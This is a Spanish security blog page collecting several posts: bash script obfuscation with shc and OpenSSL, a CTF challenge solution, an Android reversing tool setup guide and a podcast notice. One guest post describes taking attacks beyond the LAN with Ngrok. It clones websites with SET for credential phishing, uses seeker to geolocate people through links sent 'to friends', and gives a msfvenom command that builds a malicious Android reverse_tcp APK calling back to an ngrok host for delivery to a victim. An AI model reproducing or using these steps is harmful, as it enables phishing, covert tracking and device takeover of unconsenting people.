En telegram específicamente en HDC preguntarón como proteger un script en bash para que nadie lo uso y solo sea usado por una persona,  por lo cual esta entrada es elaborada para que este al alcance de todo aquel que necesite proteger y cifrar sus scripts como para tener la referencia en el blog por si en algun momento lo necesito.


Hace tiempo leí de pasada sobre shc el cual cumple con la función de cifrar código en bash pasandolo por C, para contar con un binario además de adicionar algunas funcionalidades como ser tiempo de expiración y un mensaje, también se tendrá como se puede trabajar con OpenSSL para realizar el cifrado, esta mas que claro que existen caminos para hacer la inversa a estos procesos, pero ellos no serán analizados en esta entrada

Tenemos el siguiente Script, que  usaremos para realizar las pruebas el cual no cumple con lo que dice.

#!/bin/bash
# Script de inicio de Docker
echo "Iniciando script...."
echo "Datos del Sistema Operativo"
uname -a
echo "Docker Iniciado"

Generando un binario y limitando el uso a una fecha con SHC


El proceso de instalación es simple para ello pueden ver los siguientes enlaces como el repositorio en GITHUB.

Como siempre para visualizar las opciones basta con man shc y conocer mas de las funcionalidades en esta entrada unicamente veremos poner una fecha de expiración y un mensaje que mostrará, cabe resaltar que este proceso si se puede bypassear simplemente modificando la fecha.

[kvothe@Bashert]: ~/SniferL4bs>$ shc -e 07/10/2018 -m "Tiempo de uso expirado contactate con Snifer en www.sniferl4bs.com" -f sniferl4bs.sh



Las variables que usamos son las siguientes:

-e: Definimos la fecha de expiración.
-m: Mensaje que se mostrara cuando se tenga la fecha de expiración.
-f: Fichero a cifrar.
-o: Salida del binario (No lo use en este caso)

Recordamos el fichero que tenemos.



El resultado del proceso que realizamos es un fichero con la extensión .x basta con ejecutarlo como un binario.



Ahora cuando la fecha de expiración llega se muestra el mensaje, que configuramos durante el proceso de cifrado.




Cifrando y restringiendo el acceso con OpenSSL


En este otro caso hacemos uso de OpenSSL, para que el script este cifrado y además sea posible restringir el acceso unicamente a los que tenga la contraseña.

[kvothe@Bashert]: ~/SniferL4bs>$ openssl enc -e -aes-256-cbc -iter 10 -a -in sniferl4bs.sh > script-enc

Al ejecutar nos pide que agreguemos la contraseña.




Una vez realiado tenemos el fichero script-enc en este caso que es el nombre que le dimos para usarlo tenemos que usar el siguiente comando la inversa.

[kvothe@Bashert]: ~/SniferL4bs>$ openssl enc -d -aes-256-cbc -iter 10 -a -in script-enc | sh

El resultado es el siguiente:



Cipher OpenSSL: ShellHacks

"Un viaje de mil millas comienza con un solo paso" - Lao Tse.

Regards,
Snifer
Leer Mas
Hola queridos lectores de Snifer@L4b's, hablando un poco con mi amigo Snifer me pidio que hiciera un post para su blog, así que vamos a ellos y en esta oportunidad vamos hablar de como sacar nuestros ataques afuera de LAN haciendo uso de Ngrok.


Ox1. ¿Qué es Ngrok? 


Es una herramienta con la que podemos crear un túnel accesible a través de un dominio que nos asigna la propia aplicación, para así acceder a un servidor local. 


 Vamos a su sitio web https://ngrok.com/ y nos registramos, y descargamos su cliente.



Nota: En la versión gratuita esta url se genera cada que ejecutemos ngrok , sin embargo con la opción de pago podemos configurar subdominios permanentes y otras opciones mas avanzadas que harán mas fácil nuestro trabajo.

0x2. Instalación 


Luego de descargar nuestro cliente vamos a conectarnos a nuestra cuenta con el authtoken que se genera cuando ingresamos a nuestra cuenta.


$ ./ngrok authtoken TOKEN 


0x3. SET (social engineer toolkit) con Ngrok 


Luego de la instalación de Ngrok vamos a empezar a jugar realizando pruebas con una herramienta que ya todos conocemos para realizar ataques de ingeniería social, vamos a realizar el ejemplo más clásico que sería clonar un sitio web.

Iniciamos nuestro servicio de apache

service apache2 start

Para ello vamos a crear un tuner http con ngrok que apunte al puerto 80.
./ngrok http 80



Ahora vamos habilitar que apache2 funcione con set en el archivo local /etc/setoolkit/set.config. Buscamos la linea

 APACHE_SERVER=OFF  

y cambiamos OFF por ON, guardamos los cambios y procedemos a ejecutar setoolkit y a utilizar el módulo de Site Cloner. 

Procedemos a la configuración del módulo de la siguiente forma 


Cuando se crea el tunel genera un index.html por default, asi que se recomiendo renombrar el index2.html que contiene el sitio web clonado. 



Fuck yeah! cuando ingresamos a la url de ngrok obversvamos nuestro sitio web clonado.

0x4. Geolocalización de Dispositivos 


Continuando con nuestro post, ahora veremos seeker una herramienta escrita en python que ya incluye ngrok con la cual podemos geolocalizar dispositivos. Con esta herramienta podemos extraer la siguiente información si el visitante acepta los permisos que la plataforma web pide.
  • Longitud
  • Latitud
  • Exactitud
Sin permisos del usuario podemos obtener la siguiente información.
  • Sistema operativo
  • Plataforma
  • Número de núcleos de CPU
  • Cantidad de RAM – Resultados aproximados
  • Resolución de la pantalla
  • Información de GPU
  • Nombre y versión del navegador
  • Dirección IP pública

Instalación: 


Clonamos el repositoria de git

git clone https://github.com/thewhiteh4t/seeker.git

Ejecutamos el script de instalación

./install.sh

Una vez instalada todas las dependencias, unicamente corremos en terminal el comando python seeker.py


Ahora solo queda enviar la url generada con la herramienta a nuestros amigos...



Nota: La herraminta crea un server php en el puerto 80, así que si tienen corriendo apache2 deben detenerlo.

0x5 Metasploit con Ngrok 

Como ultimo ejemplo vamos a realizar un ataque con msfvemon, en este caso usaremos el ataque mas simple generando un backdoor y enviando a la victima. Como en el ejemplo con setoolkit vamos a crear un tunel solo que en este caso sera TCP en el cual se va apuntar al puerto 1337.

./ngrok tcp 1337


Como se observa tenemos tcp://0.tcp.ngrok.io:14422

0.tcp.ngrok.io  - Host apuntando a localhost
14422   - puerto apuntado al puerto 1337

Generando nuestro apk malicioso.14422

msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=14422 R > /root/Sniferlab.apk 

Ahora pondremos a la escucha nuestro handler


y cuando la victima instale el apk malicioso...


Aporte realizado por Cesar aka. @Stuxnet
Leer Mas
Lastimosamente nadie gano la entrada, respecto al reto que lanzamos el mes de Agosto para el evento de la 8.8 que se realizara este Viernes 14 y 15 de Septiembre a continuación detallo cual era el proceso para resolver el reto.

https://1.bp.blogspot.com/-juVBR21jmhY/W3s6tXmQi_I/AAAAAAAAJmw/TbkAkE1w9MoV8km6Io2V5ebEiZ5PltOfwCLcBGAs/s1600/SniferL4bs_8dot8_Reto.bmp

Muchas gracias a todos los que participarón y estuvierón de pie en el cañon espero que cuando se tengan retos que no vengan con premio igual anden, asi que sin mas vueltas con la  Solución. Lo primero que teniamos como referencia es el siguiente contenido.



Además de como nunca faltan en las entradas alguna frase, en este caso tenía mucho sentido con el reto para afrontarlo y dar con la solución. Una vez descargamos el fichero, con la información obtenida procedemos a extraer y nos brinda dos ficheros "Whiterose.txt" y "white.exe".



Al abrir el fichero "Whiterose.txt" tenemos la siguiente frase y codigo binario.

"Si te vas, te conviertes en un cero. Si te quedas, si quieres cambiar el mundo. Te conviertes en un uno."

01100001 01001000 01010010 00110000 01100011 01001000 01001101 00110110 01001100 01111001 00111001 00110101 01100010 00110011 01010110 00110000 01100100 01010011 00110101 01101001 01011010 01010011 00111001 01000110 01010011 01101100 01001010 01111010 01011010 00110010 01010010 01011001 01100001 00110000 01010001 01111001 01010110 01010001 01101111 00111101 



Entonces procedemos a convertirlo  y obtenemos el texto en base64.

aHR0cHM6Ly95b3V0dS5iZS9FSlJzZ2RYa0QyVQo=

Al proceder a descifrarlo nos brinda un enlace a Youtube , en el cual es una escena de Mr Robot cuando Eliot comenta sobre el Hackeo al FBI. Enlace a Youtube: https://youtu.be/EJRsgdXkD2U


Si vemos en la descripción esta el texto cifrado por lo tanto, toca obtenerlo en claro en este punto varios estuvieron peleando con obtener la URL correcta ya que no se realizaba el desplazamiento de los numeros, en la web Cryptii si ingresamos el texto no da la URL correcta que es la siguiente:

WhiteRose tienes los datos, cuando los descargues avisa para borrar y no dejar información suelta. /file/u0w9m62elbusc25/EmpireAttack.zip Atte;mediafire

Una vez realizamos el proceso correctamente tenemos para descargar el fichero EmpireAttack.zip.


Al descomprimir nos quedan ahora 2 ficheros por analizar el audio "EmpireAttack.wav" el cual lo obtenemos del deepsound y el "White.exe"




El fichero ejecutable "white.exe" tenia como unico objetivo marear y que se pierda el tiempo en un análisis ya que podría tener algun BoF, pero lo único que nos interesa es ver los datos que estan en el mismo podemos hacerlo con un editor hexadecimal y tenemos lo siguiente.

El código binario que se tiene es el siguiente el cual al obtenerlo en texto tenemos base64_esta_la_llave con esto podemos realizar una busqueda de referencia en base64.


Mas abajo del codigo binario tenemos texto que se debe de tratar para tenerlo correctamente y descifrar en base64.


Obtenemos la llave: EmpireFramework (que por cierto viene en relación a la charla que daré en el evento.)

Ahora el audio es un chiptune por decirlo de Star Wars, en este punto podriamos analizar y ver si lleva algo de esteganografia en el mismo embebiendo algun fichero.


Como sabran Elliot hace uso de una herramienta DeepSound para guardar su información en archivos de audio, y como la temática de este reto era la misma ya venia derecho el uso de la misma les hablo de deepsound. (Quizas no sea  legal o igualitario para los que no vierón la serie.)


Al abrir el fichero nos pide contraseña, evidentemente podria ser "EmpireFramework", algunos se que generaron un diccionario pero la pista para resolver se encontraba en el mismo video si lo llegan a ver con detalle en diversos fotogramas daba una pista, dejo en una imagen los datos que se brindaba así tambien los segundos donde se muestra el texto.



00:00 La
00:04 Password
00:08 es
00:15 el
00:21 canal

Se que algunos llegarón a este punto y se estancaron, pusieron el canal del blog en Telegram, el canal de Youtube asi que era el canal de IRC donde se ve en el segundo 00:15 #th3g3ntl3man



Al ingresar la password en deepsound nos extrae el fichero de texto Information.txt



El mismo contiene el siguiente texto:


Ahora si llegamos a visualizar con detalle se tiene algunas letras mayúsculas,  ESASLPB evidentemente algunas son forzosas asi que extrayendo nos queda ESA ordenando nos da AES, el cifrado usado del texto y la llave como ya la tenemos es la primera que obtuvimos EmpireFramework al descifrar obtenemos el medio de contacto por Telegram y el infiltrado.


Espero les agrade y pasaron un buen momento tratando de resolverlo, por mi parte nos vemos en el evento, en el cual estare dando la charla de Post & Explotación con Empire donde veremos parte del framework y además el potencial que esta llegando a tener PowerShell para la realización de diferentes ataques bajo windows. 

Pero aquí no termina, me gustaria que alguien gane la entrada por lo tanto pondremos algunas reglas básicas para este sorteo. 

1.- Si eres estudiante de la universidad o Colegio puedes participar (se validara con el ganador).
2.- Si estas fuera de La Paz, es decir en cualquier otro departamento pero te gustaria venir, y tener esa ayuda con el ticket de ingreso puedes participar.
3.- Realizar un tweet con el Hashtag #8dot8BoliviaRetoSniferL4bs solo una vez, hasta el dia de mañana jueves a  medio día, y entre los que lo realicen me contacto con la persona que salga ganadora eso si debe de cumplir con los requisitos.

Una lastima que nadie se animó a lanzar el tweet, hubiese sido el único ganador, gracias a todos por participar.  Dos personas  resolvieron el reto ambos dando pistas, uno mas que el otro eso si fuera de Bolivia cuando recuerde los nicks o me digan los agregamos.

Nadie tiene más amor que el que da su vida por los que ama - (Paul Claudel)

Regards,
Snifer
Leer Mas
El mundo del reversing en android es muy interesante aunque la verdad no hay tanta información como en el reversing de software, en esta serie de entradas que estare realizando tiene como objetivo que lleguemos a conocer y aprender juntos desde lo básico e ir avanzando.


Requisitos básicos para comenzar en el reversing android:
  •    Conocimientos básicos sobre java.
  •    Creatividad y muchas ganas de aprender.
Antes de empezar yo tengo experiencia en la ingeniería inversa de binarios, pero una vez aprendido el reversing no es complicado a adaptarse a esto. Al final de cuentas reversing es reversing y no importa si es de binarios o apk, ya que para todo tenemos que investigar y practicar mucho. Digo todo esto pues he investigado sobre el tema pero sin embargo si sufro algún error indica cual es en los comentarios para editar este tutorial y tener una mejor referencia.

Preparando el entorno Windows

Primero necesitamos las herramientas para tener nuestro entorno listo y preparado:
  • Java JDK : Herramientas de desarrollo para java.
  • SDK Tool : Herramientas de desarrollo para android. 
  • ApkTool : nos servirá para descompilar y recompilar nuestro apk.
  • Dex2Jar : nos permitira convertir un archivo DEX a JAR.
  • JD-GUI : nos permitirá ver el código fuente de un archivo JAR.
  • Uber Apk Signer : nos permitirá firmar nuestra apk.

Instalando Java JDK

Procedemos a descargar de su web oficial, para instalar solo es dar siguiente siguiente.



Instalando SDK Tool

Descargamos desde su web click aqui 


En este proceso despues de instalar el sdk, tendremos que instalar los siguientes paquetes.



Instalando Apktool

En la pagina oficial click aqui explica el proceso de instalación, considerando que deseamos aprender se da los pasos a continuación.


  • Una vez que descargamos el script debemos renombrarlo como apktool.bat
  • Descargamos apktool desde el siguiente enlace 
  • Renombramos el archivo descargado a apktool.jar
  • Copiaremos los ficheros apktool.bat y apktool.jar a una carpeta "apktool y lo guardaremos en C:
  • Vamos a inicio de windows -> click derecho en equipo y con click derecho vamos a propiedades.


  • Ahora procedemos a configurar las variables de entorno, ingresando a configuración avanzada del sistema,  variables de entorno -> elegimos PATH -> Editar -> agremos el valor de variable con  punto y coma y la dirección de la carpeta apktoo, en la captura se muestra el proceso. 



  • Como último proceso validamos que esta bien configurado la variable de entorno y ejecutamos una CMD, escribiendo apktool


Si todo fue realizado correctamente tendremos la herramienta funcionando.

    Instalando Dex2jar

    Descargamos desde el siguiente enlace , la versión que usaremos en las próximas entradas  dex-tools-2.1-SNAPSHOT.zip  que descomprimiremos en un carpeta llamada dex2jar, repetimos el mismo proceso que realizamos con apktool y si marcha todo bien nuestro resultado final al ejecutarlo en la terminal  d2j-dex2jar





    JD - GUI

    Contamos igual con la página web oficial desde el siguiente enlace


    En este caso como estamos en un entorno Windows, procedemos a descargar el ejecutable para Windows, el mismo puede ser puesto en cualquier directorio, la recomendación sería que tengamos una carpeta Tools, Herramientas para estar mas organizados. 

    Uber Apk Signer

    La ultima herramienta que usaremos es Uber APK Signer desde el repositorio en GITHUB del siguiente enlace 


    Para mantener la configuración del entorno  se renombra igual con el siguiente nombre uber-apk-signer.jar, del mismo modo repetimos el proceso guardando en el disco C:, y configuramos el PATH respectivo.  despues abrimos nuestro editor de texto y copiamos este codigo

    @echo off
    if "%PATH_BASE%" == "" set PATH_BASE=%PATH%
    set PATH=%CD%;%PATH_BASE%;
    java -jar -Duser.language=en "%~dp0\uber-apk-signer.jar" %*

    y procedemos a guardar como uber-apk-signer.bat en el mismo directorio de uber-apk-signer


    Con todo esto seria suficiente para comenzar y seguir con la siguiente entrada nos vemos .

    Leer Mas
    Despues de mucho tiempo vuelvo a publicar el podcast en el blog, ya que solo lo realizaba directamenet en ivoox y subia a Youtube si me acordaba, pero debido a varios mensajes que recibí tratare de subir a Youtube del mismo modo, además de que ando preparando videos para la resolución de maquinas de HTB, Vulnhub, y además de algunas herramientas para que las personas que les guste dicho formato se sientan a gusto con ello.

    Si estan interesados en mas información suscribanse, si quieren algun tema que se trate en el Podcast haganlo en los comentarios del blog, o de los distintos medios de comunicación que contamos en el blog.

    Escuchalo en Youtube


    Escuchalo por Ivoox


    Divide las dificultades que examines en tantas partes como sea posible, para su mejor solución. - Rene Descartes

    Regards,
    Snifer
    Leer Mas